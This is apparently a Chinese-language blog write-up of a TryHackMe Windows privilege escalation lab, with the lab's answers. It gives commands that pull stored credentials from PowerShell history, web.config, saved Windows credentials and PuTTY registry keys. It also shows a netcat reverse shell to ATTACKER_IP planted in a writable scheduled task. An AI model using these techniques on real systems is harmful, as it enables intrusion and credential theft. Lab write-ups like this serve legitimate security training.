【THM】Windows Privilege Escalation(Windows权限提升)-初级渗透测试

介绍

在渗透测试期间,您通常可以使用非特权用户访问某些 Windows 主机。非特权用户将拥有有限的访问权限,仅包括其文件和文件夹,并且无法在主机上执行管理任务,从而阻止您完全控制目标。

本房间涵盖攻击者可用来在 Windows 环境中提升权限的基本技术,允许您在可能的情况下使用主机上的任何初始非特权立足点升级到管理员帐户。

 如果您想先温习一下自己的技能,可以查看Windows 基础知识模块Hacking Windows 模块

Windows权限提升

简而言之,权限升级包括使用“用户 A”对主机的给定访问权限,并通过滥用目标系统中的弱点来利用它来获得对“用户 B”的访问权限。虽然我们通常希望“用户 B”拥有管理权限,但在某些情况下,我们可能需要升级到其他非特权帐户,然后才能真正获得管理权限。

获得对不同帐户的访问权限就像在一些粗心的用户留下的不安全的文本文件或电子表格中查找凭据一样简单,但情况并非总是如此。根据具体情况,我们可能需要利用以下一些弱点:

  • Windows 服务或计划任务配置错误
  • 分配给我们帐户的权限过多
  • 易受攻击的软件
  • 缺少 Windows 安全补丁

在开始讨论实际技术之前,让我们先了解一下 Windows 系统上的不同帐户类型。

Windows用户

Windows系统主要  两类用户。根据用户的访问级别,我们可以将用户分为以下组之一:

管理员 这些用户拥有最多的权限。他们可以更改任何系统配置参数并访问系统中的任何文件。
标准用户 这些用户可以访问计算机,但只能执行有限的任务。通常,这些用户无法对系统进行永久或重要的更改,并且仅限于他们的文件。

任何具有管理权限的用户都将成为管理员组的一部分。另一方面,标准用户是用户组的一部分。

除此之外,您通常会听说操作系统在权限升级的情况下使用一些特殊的内置帐户:

系统/本地系统 操作系统用来执行内部任务的帐户。它可以完全访问主机上可用的所有文件和资源,并且具有比管理员更高的权限。
本地服务 用于以“最低”权限运行 Windows 服务的默认帐户。它将使用网络上的匿名连接。
网络服务 用于以“最低”权限运行 Windows 服务的默认帐户。它将使用计算机凭据通过网络进行身份验证。

这些帐户由 Windows 创建和管理,您将无法像其他常规帐户一样使用它们。不过,在某些情况下,您可能会因为利用特定服务而获得他们的特权。

2.1可以更改系统配置的用户属于哪个组?Administrators

2.2SYSTEM 帐户比管理员用户拥有更多权限(是/否)aye

从常见地点收集密码

获得其他用户访问权限的最简单方法是从受感染的计算机收集凭据。此类凭证的存在可能有多种原因,包括粗心的用户将其留在明文文件中;甚至由浏览器或电子邮件客户端等软件存储。

此任务将介绍一些在 Windows 系统上查找密码的已知位置。

在开始任务之前,请记住单击“启动机器” 按钮。您将在任务 3 到 5 中使用同一台机器。如果您使用 AttackBox 这也是启动它的好时机,因为您将需要它来执行以下任务。

如果您更喜欢通过RDP连接到目标计算机,您可以使用以下凭据:

用户: thm-unpriv

密码: Password321

无人参与的Windows安装

在大量主机上安装 Windows 时,管理员可以使用 Windows 部署服务,该服务允许通过网络将单个操作系统映像部署到多台主机。此类安装称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户来执行初始设置,该设置最终可能存储在计算机中的以下位置:

  • C:\Unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml

作为这些文件的一部分,您可能会遇到凭据:

<Credentials>

    <Username>Administrator</Username>

    <Domain>thm.local</Domain>

    <Password>MyPassword123</Password>

</Credentials>

Powershell历史

每当用户使用 Powershell 运行命令时,它都会存储到一个文件中,该文件会保留过去的命令。这对于快速重复之前使用过的命令很有用。如果用户运行的命令直接包含密码作为 Powershell 命令行的一部分,则稍后可以通过cmd.exe在提示符下使用以下命令来检索密码:

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

注意:上面的命令只能在 cmd.exe 中运行,因为 Powershell 不会将其识别%userprofile%为环境变量。要从 Powershell 读取该文件,您必须替换%userprofile%$Env:userprofile

保存的 Windows 凭据

Windows 允许我们使用其他用户的凭据。此功能还提供了将这些凭据保存在系统上的选项。下面的命令将列出保存的凭据:

cmdkey /list

虽然您看不到实际的密码,但如果您发现任何值得尝试的凭据,则可以将它们与命令 runas 和 /savecred 选项一起使用,如下所示。

runas /savecred /user:admin cmd.exe

IIS配置

Internet 信息服务 (IIS) 是 Windows 安装上的默认 Web 服务器。 IIS 上网站的配置存储在名为 的文件中web.config,并且可以存储数据库的密码或配置的身份验证机制。根据安装的 IIS 版本,我们可以在以下位置之一找到 web.config:

C:\inetpub\wwwroot\web.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

这是在文件上查找数据库连接字符串的快速方法:

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

从软件检索凭证:PuTTY

PuTTY 是 Windows 系统上常见的 SSH 客户端。用户不必每次都指定连接参数,而是可以存储会话,其中可以存储 IP、用户和其他配置以供以后使用。虽然 PuTTY 不允许用户存储其SSH密码,但它将存储包含明文身份验证凭据的代理配置。

要检索存储的代理凭据,您可以使用以下命令在以下注册表项下搜索 ProxyPassword:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

注意: Simon Tatham 是 PuTTY 的创建者(他的名字是路径的一部分),而不是我们要检索密码的用户名。运行上述命令后,存储的代理用户名也应该可见。

正如 putty 存储凭据一样,任何存储密码的软件,包括浏览器、电子邮件客户端、FTP 客户端、SSH客户端、VNC 软件等,都将有方法恢复用户保存的任何密码。

 3.1julia.jones 用户的密码已保留在 Powershell 历史记录中。密码是什么?ZuperCkretPa5z

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

3.2Web 服务器正在远程主机上运行。在与 IIS 关联的 web.config 文件中查找任何有趣的密码。 db_admin 用户的密码是什么?098n0x35skjD3

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

3.3您的 Windows 凭据上保存有密码。使用 cmdkey 和 runas,为 mike.katz 生成一个 shell,并从他的桌面检索标志。THM{WHAT_IS_MY_PASSWORD}

cmdkey /list

runas /savecred /user:mike.katz cmd.exe

cd /Users/mike.katz/Desktop

type flag.txt

3.4检索您的个人资料下保存的 PuTTY 会话中存储的密码。 thom.smith 用户的密码是什么?CoolPass2021

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

其他快速获胜

权限升级并不总是一个挑战。某些错误配置可能会让您获得更高特权的用户访问权限,在某些情况下甚至可以获得管理员访问权限。如果您认为这些更多地属于 CTF 事件领域,而不是您在实际渗透测试过程中遇到的场景,这将会有所帮助。但是,如果前面提到的方法都不起作用,您可以随时返回这些方法。

计划任务

查看目标系统上的计划任务,您可能会看到计划任务丢失了其二进制文件或正在使用您可以修改的二进制文件。

schtasks 可以使用不带任何选项的命令从命令行列出计划任务 。要检索有关任何服务的详细信息,您可以使用如下命令:

命令提示符

C:\> schtasks /query /tn vulntask /fo list /v

Folder: \

HostName:                             THM-PC1

TaskName:                             \vulntask

Task To Run:                          C:\tasks\schtask.bat

Run As User:                          taskusr1

您将获得有关该任务的大量信息,但对我们来说重要的是“要运行的任务”参数,该参数指示计划任务执行的内容,以及“以用户身份运行”参数,该参数显示将使用的用户执行任务。

如果我们当前的用户可以修改或覆盖“要运行的任务”可执行文件,我们就可以控制 taskusr1 用户执行的内容,从而实现简单的权限提升。要检查可执行文件的文件权限,我们使用icacls

命令提示符

C:\> icacls c:\tasks\schtask.bat

c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)

                    BUILTIN\Administrators:(I)(F)

                    BUILTIN\Users:(I)(F)

从结果中可以看出,BUILTIN\Users组对任务的二进制文件具有完全访问权限 (F)。这意味着我们可以修改 .bat 文件并插入我们喜欢的任何有效负载。为了您的方便,nc64.exe可以在 上找到C:\tools。让我们更改 bat 文件以生成反向 shell:

命令提示符

C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

然后,我们在攻击者机器上启动一个侦听器,该侦听器位于我们在反向 shell 上指示的同一端口上:

nc -lvp 4444

下次运行计划任务时,您应该会收到具有taskusr1权限的反向shell。虽然您可能无法在实际场景中启动任务,而必须等待计划任务触发,但我们为您的用户提供了手动启动任务的权限,以节省您的时间。我们可以使用以下命令运行该任务:

C:\> schtasks /run /tn vulntask

您将按预期收到具有taskusr1权限的反向shell:

user@attackerpc$ nc -lvp 4444

Listening on 0.0.0.0 4444

Connection received on 10.10.175.90 50649

Microsoft Windows [Version 10.0.17763.1821]

(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

wprivesc1\taskusr1

转到taskusr1 桌面以检索标志。不要忘记在此任务结束时输入标志。

  • 30
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值